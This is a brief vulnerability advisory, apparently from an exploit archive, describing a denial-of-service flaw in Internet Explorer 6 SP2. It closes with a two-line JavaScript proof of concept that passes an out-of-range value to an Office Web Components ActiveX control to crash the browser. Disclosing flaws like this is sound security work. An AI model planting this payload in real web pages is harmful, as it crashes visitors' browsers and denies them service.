source: https://www.securityfocus.com/bid/19069/info Internet Explorer is prone to a denial-of-service vulnerability. An attacker can exploit this vulnerability to crash Internet Explorer and deny service to users. Internet Explorer 6 SP2 is prone to this issue; other versions may also be vulnerable. var a = new ActiveXObject('OWC11.DataSourceControl.11'); a.getDataMemberName(-0x80000000);